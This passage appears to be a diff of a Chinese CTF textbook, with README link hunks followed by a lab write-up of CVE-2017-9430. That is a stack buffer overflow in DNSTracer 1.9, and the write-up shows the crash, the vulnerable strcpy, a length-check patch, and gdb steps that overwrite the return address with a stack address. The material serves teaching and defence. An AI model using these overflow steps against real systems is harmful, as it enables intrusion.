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@ -5,11 +5,14 @@ CTF-All-In-One（CTF 从入门到放弃）
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*——“与其相信谣言，不如一直学习。”*
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*GitHub 地址：https://github.com/firmianay/CTF-All-In-One*
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GitHub 地址：https://github.com/firmianay/CTF-All-In-One
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*GitBook 地址：https://www.gitbook.com/book/firmianay/ctf-all-in-one/details*
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GitBook 地址：https://www.gitbook.com/book/firmianay/ctf-all-in-one/details
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PDF 文件地址：
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- https://www.gitbook.com/download/pdf/book/firmianay/ctf-all-in-one（推荐）
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- https://github.com/firmianay/CTF-All-In-One/releases（尚未完成，不推荐）
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*PDF 文件地址：https://github.com/firmianay/CTF-All-In-One/releases*
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目录
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---
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@ -3,18 +3,240 @@
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- [漏洞描述](#漏洞描述)
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- [漏洞复现](#漏洞复现)
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- [漏洞分析](#漏洞分析)
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- [Exploit](#exploit)
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- [参考资料](#参考资料)
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[下载文件](../src/exploit/7.1.6_dnstracer_2017-9430)
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## 漏洞描述
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DNSTracer 是一个用来跟踪 DNS 解析过程的应用程序。DNSTracer 1.9 及之前的版本中存在栈缓冲区溢出漏洞。攻击者可借助带有较长参数的命令行利用该漏洞造成拒绝服务攻击。
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## 漏洞复现
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| |推荐使用的环境 | 备注 |
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| --- | --- | --- |
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| 操作系统 | Ubuntu 16.04 | 体系结构：32 位 |
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| 调试器 | gdb-peda| 版本号：7.11.1 |
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| 漏洞软件 | DNSTracer | 版本号：1.9 |
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首先编译安装 DNSTracer：
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```
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$ wget http://www.mavetju.org/download/dnstracer-1.9.tar.gz
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$ tar zxvf dnstracer-1.9.tar.gz
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$ cd dnstracer-1.9
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$ ./confugure
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$ make && sudo make install
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```
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传入一段超长的字符串作为参数即可触发栈溢出：
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```
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$ dnstracer -v $(python -c 'print "A"*1025')
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*** buffer overflow detected ***: dnstracer terminated
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======= Backtrace: =========
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/lib/i386-linux-gnu/libc.so.6(+0x67377)[0xb757f377]
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/lib/i386-linux-gnu/libc.so.6(__fortify_fail+0x68)[0xb760f6b8]
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/lib/i386-linux-gnu/libc.so.6(+0xf58a8)[0xb760d8a8]
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/lib/i386-linux-gnu/libc.so.6(+0xf4e9f)[0xb760ce9f]
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dnstracer[0x8048f26]
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/lib/i386-linux-gnu/libc.so.6(__libc_start_main+0xf7)[0xb7530637]
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dnstracer[0x804920a]
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======= Memory map: ========
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08048000-0804e000 r-xp 00000000 08:01 270483 /usr/local/bin/dnstracer
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0804f000-08050000 r--p 00006000 08:01 270483 /usr/local/bin/dnstracer
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08050000-08051000 rw-p 00007000 08:01 270483 /usr/local/bin/dnstracer
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08051000-08053000 rw-p 00000000 00:00 0
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084b6000-084d7000 rw-p 00000000 00:00 0 [heap]
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b74e4000-b7500000 r-xp 00000000 08:01 394789 /lib/i386-linux-gnu/libgcc_s.so.1
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b7500000-b7501000 rw-p 0001b000 08:01 394789 /lib/i386-linux-gnu/libgcc_s.so.1
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b7518000-b76c8000 r-xp 00000000 08:01 394751 /lib/i386-linux-gnu/libc-2.23.so
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b76c8000-b76ca000 r--p 001af000 08:01 394751 /lib/i386-linux-gnu/libc-2.23.so
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b76ca000-b76cb000 rw-p 001b1000 08:01 394751 /lib/i386-linux-gnu/libc-2.23.so
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b76cb000-b76ce000 rw-p 00000000 00:00 0
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b76e4000-b76e7000 rw-p 00000000 00:00 0
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b76e7000-b76e9000 r--p 00000000 00:00 0 [vvar]
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b76e9000-b76eb000 r-xp 00000000 00:00 0 [vdso]
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b76eb000-b770d000 r-xp 00000000 08:01 394723 /lib/i386-linux-gnu/ld-2.23.so
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b770d000-b770e000 rw-p 00000000 00:00 0
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b770e000-b770f000 r--p 00022000 08:01 394723 /lib/i386-linux-gnu/ld-2.23.so
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b770f000-b7710000 rw-p 00023000 08:01 394723 /lib/i386-linux-gnu/ld-2.23.so
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bf8e5000-bf907000 rw-p 00000000 00:00 0 [stack]
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Aborted (core dumped)
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```
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## 漏洞分析
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这个漏洞非常简单也非常典型，发生原因是在把参数 `argv[0]` 复制到数组 `argv0` 的时候没有做长度检查，如果大于 1024 字节，就会导致栈溢出：
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```c
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// dnstracer.c
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int
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main(int argc, char **argv)
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{
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[...]
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char argv0[NS_MAXDNAME];
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[...]
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strcpy(argv0, argv[0]);
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```
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```c
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// dnstracer_broker.h
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#ifndef NS_MAXDNAME
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#define NS_MAXDNAME 1024
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#endif
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```
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#### 补丁
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要修这个漏洞的话，在调用 `strcpy()` 前加上对参数长度的检查就可以了：
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```c
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/*CVE-2017-9430 Fix*/
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if(strlen(argv[0]) >= NS_MAXDNAME)
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{
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free(server_ip);
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free(server_name);
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fprintf(stderr, "dnstracer: argument is too long %s\n", argv[0]);
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return 1;
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}
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// check for a trailing dot
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strcpy(argv0, argv[0]);
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```
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## Exploit
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接下来可以破解它，首先修改 Makefile，关掉栈保护，同时避免 gcc 使用安全函数 `__strcpy_chk()` 替换 `strcpy()`，修改编译选项如下，然后编译安装：
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```
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$ cat Makefile | grep -w CC
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CC = gcc -fno-stack-protector -z execstack -D_FORTIFY_SOURCE=0
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COMPILE = $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) \
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CCLD = $(CC)
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$ make && sudo make install
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gdb-peda$ checksec
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CANARY : disabled
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FORTIFY : disabled
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NX : disabled
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PIE : disabled
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RELRO : Partial
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```
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因为漏洞发生在 main 函数中，堆栈的布置比起在子函数里也要复杂一些。大体过程和前面写过的一篇 wget 溢出漏洞差不多，但那一篇是 64 位程序，所以这里选择展示一下 32 位程序。
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在 gdb 里进行调试，利用 pattern 确定溢出位置，1060 字节就足够了：
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```
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gdb-peda$ pattern_create 1060
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gdb-peda$ pattern_offset $ebp
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1849771630 found at offset: 1049
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```
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所以返回地址位于栈偏移 `1049+4=1053` 的地方。
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在 `strcpy(argv0, argv[0]);` 处下断点，并根据偏移调整输入：
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```
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gdb-peda$ b *main+789
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gdb-peda$ b *main+794
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gdb-peda$ r `perl -e 'print "A"x1053 . "BBBB"'`
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Starting program: /home/firmy/dnstracer-1.9/dnstracer `perl -e 'print "A"x1053 . "BBBB"'`
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[----------------------------------registers-----------------------------------]
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EAX: 0x1
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EBX: 0xbfffe6bf --> 0x400
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ECX: 0xffffffff
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EDX: 0xb7fba17c --> 0x0
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ESI: 0x0
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EDI: 0xbfffedb3 ('A' <repeats 200 times>...)
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EBP: 0xbfffead8 --> 0x0
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ESP: 0xbfffe290 --> 0xbfffe6bf --> 0x400
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EIP: 0x8048db5 (<main+789>: call 0x8048920 <strcpy@plt>)
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EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
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[-------------------------------------code-------------------------------------]
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0x8048db2 <main+786>: push ecx
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0x8048db3 <main+787>: push edi
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0x8048db4 <main+788>: push ebx
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=> 0x8048db5 <main+789>: call 0x8048920 <strcpy@plt>
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0x8048dba <main+794>: mov ecx,DWORD PTR [ebp-0x82c]
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0x8048dc0 <main+800>: xor eax,eax
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0x8048dc2 <main+802>: add esp,0x10
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0x8048dc5 <main+805>: repnz scas al,BYTE PTR es:[edi]
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Guessed arguments:
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arg[0]: 0xbfffe6bf --> 0x400
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arg[1]: 0xbfffedb3 ('A' <repeats 200 times>...)
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arg[2]: 0xffffffff
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arg[3]: 0xffffffff
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[------------------------------------stack-------------------------------------]
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0000| 0xbfffe290 --> 0xbfffe6bf --> 0x400
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0004| 0xbfffe294 --> 0xbfffedb3 ('A' <repeats 200 times>...)
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0008| 0xbfffe298 --> 0xffffffff
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0012| 0xbfffe29c --> 0xffffffff
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0016| 0xbfffe2a0 --> 0x0
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0020| 0xbfffe2a4 --> 0x0
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0024| 0xbfffe2a8 --> 0x8051018 ("127.0.1.1")
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0028| 0xbfffe2ac --> 0xffffffff
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[------------------------------------------------------------------------------]
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Legend: code, data, rodata, value
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Breakpoint 1, 0x08048db5 in main (argc=<optimized out>, argv=<optimized out>)
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at dnstracer.c:1622
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1622 strcpy(argv0, argv[0]);
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gdb-peda$ x/10wx argv0
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0xbfffe6bf: 0x00000400 0x00000700 0x1af23c00 0x1b023c00
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0xbfffe6cf: 0x1b023c00 0x00000800 0x00004800 0x00000400
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0xbfffe6df: 0x00000400 0x74e55000
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```
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所以栈位于 `0xbfffe6bf`，执行这一行语句即可将 `0xbfffedb3` 处的 "A" 字符串复制到 `argv0` 数组中：
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```
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gdb-peda$ c
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Continuing.
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[----------------------------------registers-----------------------------------]
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EAX: 0xbfffe6bf ('A' <repeats 200 times>...)
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EBX: 0xbfffe6bf ('A' <repeats 200 times>...)
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ECX: 0xbffff1d0 ("BBBB")
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EDX: 0xbfffeadc ("BBBB")
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ESI: 0x0
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EDI: 0xbfffedb3 ('A' <repeats 200 times>...)
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EBP: 0xbfffead8 ("AAAABBBB")
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ESP: 0xbfffe290 --> 0xbfffe6bf ('A' <repeats 200 times>...)
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EIP: 0x8048dba (<main+794>: mov ecx,DWORD PTR [ebp-0x82c])
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EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
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[-------------------------------------code-------------------------------------]
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0x8048db3 <main+787>: push edi
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0x8048db4 <main+788>: push ebx
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0x8048db5 <main+789>: call 0x8048920 <strcpy@plt>
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=> 0x8048dba <main+794>: mov ecx,DWORD PTR [ebp-0x82c]
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0x8048dc0 <main+800>: xor eax,eax
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0x8048dc2 <main+802>: add esp,0x10
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0x8048dc5 <main+805>: repnz scas al,BYTE PTR es:[edi]
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0x8048dc7 <main+807>: not ecx
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[------------------------------------stack-------------------------------------]
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0000| 0xbfffe290 --> 0xbfffe6bf ('A' <repeats 200 times>...)
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0004| 0xbfffe294 --> 0xbfffedb3 ('A' <repeats 200 times>...)
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0008| 0xbfffe298 --> 0xffffffff
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0012| 0xbfffe29c --> 0xffffffff
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0016| 0xbfffe2a0 --> 0x0
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0020| 0xbfffe2a4 --> 0x0
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0024| 0xbfffe2a8 --> 0x8051018 ("127.0.1.1")
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0028| 0xbfffe2ac --> 0xffffffff
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[------------------------------------------------------------------------------]
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Legend: code, data, rodata, value
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Breakpoint 2, main (argc=<optimized out>, argv=<optimized out>) at dnstracer.c:1623
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1623 if (argv0[strlen(argv[0]) - 1] == '.') argv0[strlen(argv[0]) - 1] = 0;
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gdb-peda$ x/10wx argv0
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0xbfffe6bf: 0x41414141 0x41414141 0x41414141 0x41414141
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0xbfffe6cf: 0x41414141 0x41414141 0x41414141 0x41414141
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0xbfffe6df: 0x41414141 0x41414141
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gdb-peda$ x/5wx 0xbfffeadc-0x10
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0xbfffeacc: 0x41414141 0x41414141 0x41414141 0x41414141 <-- ebp
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0xbfffeadc: 0x42424242 <-- return addr
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```
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同时字符串 "BBBB" 覆盖了返回地址。继续修改 "BBBB" 为栈地址：
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```
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gdb-peda$ r `perl -e 'print "A"x1053 . "\xbf\xe6\xff\xbf"'`
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```
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即可跳转到栈开头的位置：
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```
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gdb-peda$ x/5wx 0xbfffeadc-0x10
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0xbfffeacc: 0x41414141 0x41414141 0x41414141 0x41414141 <-- ebp
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0xbfffeadc: 0xbfffe6bf <-- stack
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```
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0xbfffeacc
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## 参考资料
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- http://www.mavetju.org/unix/dnstracer.php
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- [CVE-2017-9430](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-9430)
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- [DNSTracer 1.9 - Local Buffer Overflow](https://www.exploit-db.com/exploits/42424/)
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- [DNSTracer 1.8.1 - Buffer Overflow (PoC)](https://www.exploit-db.com/exploits/42115/)
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